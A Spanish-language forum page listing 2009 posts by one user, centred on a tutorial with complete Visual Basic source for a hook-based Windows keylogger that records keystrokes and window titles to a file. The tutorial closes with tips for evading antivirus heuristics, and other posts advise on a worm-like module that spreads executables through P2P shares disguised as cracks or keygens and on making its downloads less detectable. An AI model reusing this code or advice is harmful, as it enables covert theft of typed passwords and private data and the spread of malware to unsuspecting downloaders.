Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Karcrack

#1311
@Jaixon Jax:
Yo no soy moderador de VB... es seba123neo, que aunque hace bastante que no comparte tambien sabe mucho ;D

Este manual es viejo... un año o asi tiene... asi que imagina lo que he aprendido desde entonces :silbar: :xD :xD

Por cierto, muy buena la imagen :laugh:
#1312
Cita de: jackl007 ツ en 17 Agosto 2009, 20:21 PM
tambien se puede conseguir cogiendo el layout del keyboard, y segun eso podrias saber que modulo de teclas coger segun la distribucion del teclado (americano, latinoamericano, español) ...
Si bueno... nunca lo consegui hacer correctamente en VB... intento pasar al ToAsciiEx el layout, pero me devuelve un Char erroneo... tengo que seguir investigando :-\

Yo lo tengo facil para hacer pruebas, porque mi portatil tiene un teclado ingles, pero cuando lo conecto a la dockstation utilizo un teclado español, y activo el Layout español... pero me falla igual :laugh:

Seguire provando... cuando tenga tiempo :¬¬
#1313
Cita de: el_c0c0 en 17 Agosto 2009, 19:57 PM
si no me equivoco habia una forma de obtener el nombre de la tecla con un api, obviamente el resultado varia segun el lenguaje del pc.

saludos y muy interesante
Si, pero en la epoca que hice el tuto no sabia tanto :xD

Hay un codigo de Cobein que lo demuestra muy bien ;)
Perdon, es de Paul Caton:
http://www.planetsourcecode.com/vb/scripts/ShowCode.asp?txtCodeId=51403&lngWId=1

Creo que es este :xD
#1314
@Spider-Net: Me alegro que te gustara :P
Para cualquiera que lo quiera leerlo lo acabo de postear aqui ;):
http://foro.elhacker.net/programacion_vb/vb_creacion_de_un_keylogger_avanzado_hook-t264469.0.html

Saludos ;)
#1315
Este manual forma parte de la #1 CM EZINE...

CitarIndice:

  • Introducción:
  • Que es un Keylogger?
  • Clases de Keyloggers.
  • Para que sirven?

  • Al grano:
  • APIs.
  • Declaraciones, Constantes y Tipos.
  • Funciones.
  • Código de ejemplo.
  • Despedida y consejos.





    Introducción:

    Que es un keylogger?

    Un keylogger (Key=Tecla Logger=Registrador) es una herramienta de diagnóstico utilizada en el
    desarrollo de software que se encarga de registrar las pulsaciones que se realizan sobre el teclado, para
    memorizarlas en un fichero y/o enviarlas a través de Internet.


    Por lo tanto asumimos que registra las teclas que se presionan en el teclado.




    Clases de Keyloggers.

    Bueno, hay varios tipos de keyloggers, yo me voy a centrar en los de Software.

    Hay tres tipos:


    • Ring 0: Los que se ejecutan desde el núcleo del sistema, lo que los hace bastante mas difíciles de eliminar.
    • Hook: Se ejecutan en Modo Usuario y utilizan un 'Enganche' al sistema, para que cuando se presione una tecla el sistema te advierte. Este es el método que trataremos en la parte practica.
    • Otros metodos: Estos son otros metodos, normalmente peores. Por ejemplo, un keylogger que cada cierto intervalo de tiempo compruebe tecla por tecla cual esta presionada.




    Para que sirven?

    Los keyloggers registran cualquier tecla pulsada en el sistema, por lo tanto pueden servir muchas cosas. Desde observar si tus empleados entran a webs a las que no deberían. Hasta para obtener información ajena de forma oculta.





    Al grano:

    APIs:

    Las apis que usaremos serán las siguientes.:


    • CopyMemory: Para volcar la información del hook a una variable.
    • SetWindowsHookExA: Para establecer el hook al teclado.
    • CallNextHookEx: Para continuar con nuestro hook.
    • UnhookWindowsHookEx: Para deshacer el hook al teclado.
    • GetAsyncKeyState: Para saber si la tecla Shift esta presionada.
    • GetForegroundWindow: Para obtener la ventana que tiene el foco.
    • GetWindowTextA: Para obtener el texto de una ventana.




    Declaraciones, Constantes y Tipos.

    Constantes:

    WH_KEYBOARD_LL =  13 : Esta constante contiene el valor que indica al API SetWindowsHookEx que tipo de Hook es.

    Declaraciones Globales:

    KBHook : Esta declaración global indica el numero asignado a nuestro Hook de teclado.

    KeyData: Para almacenar las teclas recogidas antes de almacenarlas.

    lHwnd : Para almacenar la ultima venta activa.

    Tipos:

    KBDLLHOOKSTRUCT : Para obtener la información que nos da el Hook.




    Funciones:

    Función para habilitar o deshabilitar el hook al teclado:

    Código (vb) [Seleccionar]
    Public Sub ManageKeylogger(ByVal Enable As Boolean)
       Select Case Enable
           Case True
               KBHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf KBProc, App.hInstance,0)
           Case False
               Call UnhookWindowsHookEx(KBHook)
       End Select
    End Sub


    Función para recibir la información del AddressOf:

    Código (vb) [Seleccionar]
    Public Function KBProc(ByVal nCode As Long, ByVal wParam As Long, lParam As Long) As Long
       Dim KeyBoardHook        As KBDLLHOOKSTRUCT
       
       If nCode = 0 Then
           CopyMemory KeyBoardHook, lParam, Len(KeyBoardHook)
           With KeyBoardHook
               If .Flags = 0 Or .Flags = 1 Then
                   If SaveLog(TranslateKey(.VkCode)) > 50 Then
                       Call LogToFile(App.Path & "\Log.log")
                   End If
               End If
           End With
       Else
           KBProc = CallNextHookEx(KBHook, nCode, wParam, lParam)
       End If
    End Function


    Función para pasar del valor numérico de la tecla a el valor correspondiente:

    Código (vb) [Seleccionar]
    Private Function TranslateKey(ByVal KeyCode As Long) As String
       Dim LngShift            As Long
       
       'Funcion optimizada para su uso en teclados españoles.
       
       LngShift = GetAsyncKeyState(vbKeyShift)
       If KeyCode >= 58 And KeyCode <= 90 Then
           TranslateKey = IIf(LngShift <> 0, UCase(Chr(KeyCode)), LCase(Chr(KeyCode)))
       ElseIf KeyCode >= 96 And KeyCode <= 105 Then
           TranslateKey = Chr(KeyCode - 48)
       ElseIf KeyCode >= 112 And KeyCode <= 123 Then
           TranslateKey = "{F" & KeyCode - 111 & "}"
       Else
           If KeyCode = 160 Then TranslateKey = ""
           If KeyCode = 161 Then TranslateKey = "{SHIFT DER.}"
           If KeyCode = 38 Then TranslateKey = "{FLECHA ARRIBA}"
           If KeyCode = 40 Then TranslateKey = "{FLECHA ABAJO}"
           If KeyCode = 37 Then TranslateKey = "{FLECHA IZQ.}"
           If KeyCode = 39 Then TranslateKey = "{FLECHA DER.}"
           If KeyCode = 32 Then TranslateKey = "{ESPACIO}"
           If KeyCode = 27 Then TranslateKey = "{ESC}"
           If KeyCode = 46 Then TranslateKey = "{DEL}"
           If KeyCode = 36 Then TranslateKey = "{HOME}"
           If KeyCode = 35 Then TranslateKey = "{END}"
           If KeyCode = 33 Then TranslateKey = "{PAGE UP}"
           If KeyCode = 34 Then TranslateKey = "{PAGE DOWN}"
           If KeyCode = 45 Then TranslateKey = "{PASTE}"
           If KeyCode = 144 Then TranslateKey = "{NUM}"
           If KeyCode = 111 Then TranslateKey = "{NUMPAD / }"
           If KeyCode = 106 Then TranslateKey = "{NUMPAD * }"
           If KeyCode = 109 Then TranslateKey = "{NUMPAD - }"
           If KeyCode = 107 Then TranslateKey = "{NUMPAD + }"
           If KeyCode = 13 Then TranslateKey = "{ENTER}"
           If KeyCode = 8 Then TranslateKey = "{BACK}"
           If KeyCode = 221 Then TranslateKey = "{ACCENTO}"
           If KeyCode = 9 Then TranslateKey = "{TAB}"
           If KeyCode = 20 Then TranslateKey = "{BLOQ. MAYUS}"
           If KeyCode = 162 Then TranslateKey = "{STRG LEFT}"
           If KeyCode = 163 Then TranslateKey = "{STRG DER.}"
           If KeyCode = 91 Then TranslateKey = "{WINDOWS}"
           If KeyCode = 164 Then TranslateKey = "{ALT}"
           If KeyCode = 165 Then TranslateKey = "{ALTGR}"
           If KeyCode = 93 Then TranslateKey = "{MENU CONTEXTUAL}"
           If KeyCode = 188 Then TranslateKey = IIf(LngShift <> 0, ";", ",")
           If KeyCode = 190 Then TranslateKey = IIf(LngShift <> 0, ":", ".")
           If KeyCode = 189 Then TranslateKey = IIf(LngShift <> 0, "_", "-")
           If KeyCode = 191 Then TranslateKey = IIf(LngShift <> 0, "'", "#")
           If KeyCode = 187 Then TranslateKey = IIf(LngShift <> 0, "*", "+")
           If KeyCode = 186 Then TranslateKey = IIf(LngShift <> 0, "Ü", "ü")
           If KeyCode = 192 Then TranslateKey = IIf(LngShift <> 0, "Ö", "ö")
           If KeyCode = 222 Then TranslateKey = IIf(LngShift <> 0, "Ä", "ä")
           If KeyCode = 219 Then TranslateKey = IIf(LngShift <> 0, "?", "ß")
           If KeyCode = 220 Then TranslateKey = IIf(LngShift <> 0, "°", "^")
           If KeyCode = 48 Then TranslateKey = IIf(LngShift <> 0, "=", "0")
           If KeyCode = 49 Then TranslateKey = IIf(LngShift <> 0, "!", "1")
           If KeyCode = 50 Then TranslateKey = IIf(LngShift <> 0, """", "2")
           If KeyCode = 51 Then TranslateKey = IIf(LngShift <> 0, "§", "3")
           If KeyCode = 52 Then TranslateKey = IIf(LngShift <> 0, "$", "4")
           If KeyCode = 53 Then TranslateKey = IIf(LngShift <> 0, "%", "5")
           If KeyCode = 54 Then TranslateKey = IIf(LngShift <> 0, "&", "6")
           If KeyCode = 55 Then TranslateKey = IIf(LngShift <> 0, "/", "7")
           If KeyCode = 56 Then TranslateKey = IIf(LngShift <> 0, "(", "8")
           If KeyCode = 57 Then TranslateKey = IIf(LngShift <> 0, ")", "9")
           If KeyCode = 145 Then TranslateKey = "{ROLL}"
           If KeyCode = 44 Then TranslateKey = "{PRINT}"
           If KeyCode = 19 Then TranslateKey = "{PAUSE}"
           If TranslateKey = "" And KeyCode <> 160 Then TranslateKey = KeyCode
       End If
    End Function


    Función para guardar la información pulsada en una variable:

    Código (vb) [Seleccionar]
    Public Function SaveLog(ByVal sKey As String) As Double
       Dim aHwnd               As Long
       Dim WinText             As String
       aHwnd = GetForegroundWindow
       
       If aHwnd <> lHwnd Then
           lHwnd = aHwnd
           WinText = String$(255, Chr$(0))
           Call GetWindowText(aHwnd, WinText, Len(WinText))
           WinText = Left$(WinText, InStr(WinText, Chr$(0)) - 1)
           
           KeyData = KeyData & vbCrLf & "{" & WinText & "} - [" & Now$ & "]" & vbCrLf
       End If
       
       KeyData = KeyData & sKey
       
       SaveLog = Len(KeyData)
    End Function


    Función para volcar la variable en un fichero:

    Código (vb) [Seleccionar]
    Public Sub LogToFile(ByVal sPath As String)
       Open sPath For Binary As #1
           Put #1, , KeyData
       Close #1
    End Sub






    Código de ejemplo:

    Código (vb) [Seleccionar]
    Option Explicit

    '|||||||||||||||||||||||
    '|                     |
    '|Autor: Karcrack      |
    '|Fecha: 24/09/08      |
    '|                     |
    '|||||||||||||||||||||||


    Private Declare Function SetWindowsHookEx Lib "user32.dll" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
    Private Declare Function UnhookWindowsHookEx Lib "user32.dll" (ByVal hHook As Long) As Long
    Private Declare Function CallNextHookEx Lib "user32.dll" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, ByRef lParam As Any) As Long
    Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (ByRef Destination As Any, ByRef Source As Any, ByVal Length As Long)
    Private Declare Function GetAsyncKeyState Lib "user32.dll" (ByVal vKey As Long) As Integer
    Private Const WH_KEYBOARD_LL   As Long = 13

    Private Declare Function GetForegroundWindow Lib "user32.dll" () As Long
    Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long

    Public Type KBDLLHOOKSTRUCT
       VkCode                  As Long
       ScanCode                As Long
       Flags                   As Long
       Time                    As Long
       DwExtraInfo             As Long
    End Type

    Dim KBHook                  As Long
    Dim KeyData                 As String
    Dim lHwnd                   As Long

    Public Sub ManageKeylogger(ByVal Enable As Boolean)
       Select Case Enable
           Case True
               KBHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf KBProc, App.hInstance, 0)
           Case False
               Call UnhookWindowsHookEx(KBHook)
       End Select
    End Sub

    Public Function KBProc(ByVal nCode As Long, ByVal wParam As Long, lParam As Long) As Long
       Dim KeyBoardHook        As KBDLLHOOKSTRUCT
       
       If nCode = 0 Then
           CopyMemory KeyBoardHook, lParam, Len(KeyBoardHook)
           With KeyBoardHook
               If .Flags = 0 Or .Flags = 1 Then
                   If SaveLog(TranslateKey(.VkCode)) > 50 Then
                       Call LogToFile(App.Path & "\Log.log")
                   End If
               End If
           End With
       Else
           KBProc = CallNextHookEx(KBHook, nCode, wParam, lParam)
       End If
    End Function

    Private Function TranslateKey(ByVal KeyCode As Long) As String
       Dim LngShift            As Long
       
       'Funcion optimizada para su uso en teclados españoles.
       
       LngShift = GetAsyncKeyState(vbKeyShift)
       If KeyCode >= 58 And KeyCode <= 90 Then
           TranslateKey = IIf(LngShift <> 0, UCase(Chr(KeyCode)), LCase(Chr(KeyCode)))
       ElseIf KeyCode >= 96 And KeyCode <= 105 Then
           TranslateKey = Chr(KeyCode - 48)
       ElseIf KeyCode >= 112 And KeyCode <= 123 Then
           TranslateKey = "{F" & KeyCode - 111 & "}"
       Else
           If KeyCode = 160 Then TranslateKey = ""
           If KeyCode = 161 Then TranslateKey = "{SHIFT DER.}"
           If KeyCode = 38 Then TranslateKey = "{FLECHA ARRIBA}"
           If KeyCode = 40 Then TranslateKey = "{FLECHA ABAJO}"
           If KeyCode = 37 Then TranslateKey = "{FLECHA IZQ.}"
           If KeyCode = 39 Then TranslateKey = "{FLECHA DER.}"
           If KeyCode = 32 Then TranslateKey = "{ESPACIO}"
           If KeyCode = 27 Then TranslateKey = "{ESC}"
           If KeyCode = 46 Then TranslateKey = "{DEL}"
           If KeyCode = 36 Then TranslateKey = "{HOME}"
           If KeyCode = 35 Then TranslateKey = "{END}"
           If KeyCode = 33 Then TranslateKey = "{PAGE UP}"
           If KeyCode = 34 Then TranslateKey = "{PAGE DOWN}"
           If KeyCode = 45 Then TranslateKey = "{PASTE}"
           If KeyCode = 144 Then TranslateKey = "{NUM}"
           If KeyCode = 111 Then TranslateKey = "{NUMPAD / }"
           If KeyCode = 106 Then TranslateKey = "{NUMPAD * }"
           If KeyCode = 109 Then TranslateKey = "{NUMPAD - }"
           If KeyCode = 107 Then TranslateKey = "{NUMPAD + }"
           If KeyCode = 13 Then TranslateKey = "{ENTER}"
           If KeyCode = 8 Then TranslateKey = "{BACK}"
           If KeyCode = 221 Then TranslateKey = "{ACCENTO}"
           If KeyCode = 9 Then TranslateKey = "{TAB}"
           If KeyCode = 20 Then TranslateKey = "{BLOQ. MAYUS}"
           If KeyCode = 162 Then TranslateKey = "{STRG LEFT}"
           If KeyCode = 163 Then TranslateKey = "{STRG DER.}"
           If KeyCode = 91 Then TranslateKey = "{WINDOWS}"
           If KeyCode = 164 Then TranslateKey = "{ALT}"
           If KeyCode = 165 Then TranslateKey = "{ALTGR}"
           If KeyCode = 93 Then TranslateKey = "{MENU CONTEXTUAL}"
           If KeyCode = 188 Then TranslateKey = IIf(LngShift <> 0, ";", ",")
           If KeyCode = 190 Then TranslateKey = IIf(LngShift <> 0, ":", ".")
           If KeyCode = 189 Then TranslateKey = IIf(LngShift <> 0, "_", "-")
           If KeyCode = 191 Then TranslateKey = IIf(LngShift <> 0, "'", "#")
           If KeyCode = 187 Then TranslateKey = IIf(LngShift <> 0, "*", "+")
           If KeyCode = 186 Then TranslateKey = IIf(LngShift <> 0, "Ü", "ü")
           If KeyCode = 192 Then TranslateKey = IIf(LngShift <> 0, "Ö", "ö")
           If KeyCode = 222 Then TranslateKey = IIf(LngShift <> 0, "Ä", "ä")
           If KeyCode = 219 Then TranslateKey = IIf(LngShift <> 0, "?", "ß")
           If KeyCode = 220 Then TranslateKey = IIf(LngShift <> 0, "°", "^")
           If KeyCode = 48 Then TranslateKey = IIf(LngShift <> 0, "=", "0")
           If KeyCode = 49 Then TranslateKey = IIf(LngShift <> 0, "!", "1")
           If KeyCode = 50 Then TranslateKey = IIf(LngShift <> 0, """", "2")
           If KeyCode = 51 Then TranslateKey = IIf(LngShift <> 0, "§", "3")
           If KeyCode = 52 Then TranslateKey = IIf(LngShift <> 0, "$", "4")
           If KeyCode = 53 Then TranslateKey = IIf(LngShift <> 0, "%", "5")
           If KeyCode = 54 Then TranslateKey = IIf(LngShift <> 0, "&", "6")
           If KeyCode = 55 Then TranslateKey = IIf(LngShift <> 0, "/", "7")
           If KeyCode = 56 Then TranslateKey = IIf(LngShift <> 0, "(", "8")
           If KeyCode = 57 Then TranslateKey = IIf(LngShift <> 0, ")", "9")
           If KeyCode = 145 Then TranslateKey = "{ROLL}"
           If KeyCode = 44 Then TranslateKey = "{PRINT}"
           If KeyCode = 19 Then TranslateKey = "{PAUSE}"
           If TranslateKey = "" And KeyCode <> 160 Then TranslateKey = KeyCode
       End If
    End Function

    Public Function SaveLog(ByVal sKey As String) As Double
       Dim aHwnd               As Long
       Dim WinText             As String
       aHwnd = GetForegroundWindow
       
       If aHwnd <> lHwnd Then
           lHwnd = aHwnd
           WinText = String$(255, Chr$(0))
           Call GetWindowText(aHwnd, WinText, Len(WinText))
           WinText = Left$(WinText, InStr(WinText, Chr$(0)) - 1)
           
           KeyData = KeyData & vbCrLf & "{" & WinText & "} - [" & Now() & "]" & vbCrLf
       End If
       
       KeyData = KeyData & sKey
       
       SaveLog = Len(KeyData)
    End Function

    Public Sub LogToFile(ByVal sPath As String)
       Open sPath For Binary As #1
           Put #1, , KeyData
       Close #1
    End Sub






    Despedida y consejos.

    Hasta aquí el manual, me ha llevado aproximadamente escribir y codear el manual 1 hora y 30 minutos... a ver si a la próxima supero mi marca :xD

    Bueno, recomendaciones, hay muchas... entre ellas no copiéis tal cual el code, porque se hará detectable en cuestión de minutos (si no lo es ya). Para hacer indetectable este código debéis cargar las APIs en ejecución, porque la heuristica salta seguro.

    Saludos :D

    Happy Coding ;)
Saludos ;D
#1316
Para quitar la ultima letra lo unico que has que hacer es esto:
Código (vb) [Seleccionar]
sVar = Left$(sVar, len(sVar) - 1)
Donde sVar seria la variable/propiedad de control, en tu caso text1.text

Deberias de aprender como funciona el Keylogger y hacerlo tu desde 0...


If (GetAsyncKeyState(vbKeyBack) And &H1) = &H1 Then
   Text1.text = Left$(Text1.text, Len(Text1.text) - 1)
End If


PD: No utilices un control para almacenar datos... utiliza una variable...
#1317
Programación Visual Basic / Re: iSpread Module
17 Agosto 2009, 00:16 AM
Cita de: BlackZeroX en 16 Agosto 2009, 23:44 PM
Cita de: [GB] en 16 Agosto 2009, 22:34 PM

que tanto te crees realmente?, es mejor llenarlo con un dummy al final del exe y q cambie de icono, el zip no tanto, ya que un archivo dummy de 1 gb en un zip se reduce como a 100 kbs o menos aun!¡.
No es necesario en absoluto cambiar el icono, al menos no en la parte remota... me refiero a la persona que descargara el fichero de la red P2P... Aunque si sabe algo de informatica sospechara al ver un icono del VB en un supuesto juego entero... como dije antes mejor añadir CrackMe/Keygen al nombre del file...

Si no me equivoco se le podrian poner atributos de oculto a los ficheros creados, creo que aun asi el cliente P2P lo agrega a la lista de ficheros para compartir...

Otra cosa... lo del dummy de 1gb que se queda en 100kb.... eso dependera de como hagas el fichero dummy... si pones un String$(5000, "A") el ratio de compresion sera mucho mayor que si metes datos aleatorios...
#1318
Cita de: MCKSys Argentina en 15 Agosto 2009, 20:56 PM
Muy bueno!

No conocia esa estructura...

Gracias!
Claro que no :xD, la he hecho yo para imitar la llamada al API DllFunctionCall que hacen las aplicaciones del VB :xD
#1319
Cita de: cobein en 15 Agosto 2009, 06:39 AM
Karcrack, despues tengo unos datos interesantes para pasarte de esta API, me colgue un rato con el IDA y vi unas cuantas cosas.
Perfecto :D, si no ves en el MSN enviame un MP por aqui o en HH ;)

Espero ansioso la informacion :xD

Saludos ;)
#1320
Programación Visual Basic / Re: iSpread Module
15 Agosto 2009, 13:12 PM
Buen trabajo, ahora me bajo el codigo y te digo si veo algo que mejorar ;)


-Ordena mas tus codigos... Utiliza las tabulaciones...
-No me gusta la manera de saber si la unidad esta disponible... creo que esta es mejor:
Código (vb) [Seleccionar]
Public Function IsDriverReady(ByVal sDrive As String) As Boolean
   If Right$(sDrive, 2) <> ":\" Then sDrive = Left$(sDrive, 1) & ":\"
   IsDriverReady = CBool(GetVolumeInformation(sDrive, ByVal vbNullString, 0&, 0&, 0&, 0&, ByVal vbNullString, 0&))
End Function

-Usa Option Explicit
-La ruta de la configuracion del Emule deberias sacarla del registro... ya que se puede cambiar...
-Para sacar el codigo HTML de alguna web seria menos detectable si usaras WinHTTP (la .dll, no .ocx, asi no hay dependencias, ya que esta en todos los PCs a partir del W$ 98 ;))
-Es muy sospechoso tener 100 archivos con el mismo icono y diferente nombre... talvez deberias solo obtener 5 nombres de forma aleatoria...
-Creo que seria mas interesante añadir Crack/Keygen delante del nombre.... ya que el software/juego pesa bastante mas que el EXE...

Saludos ;)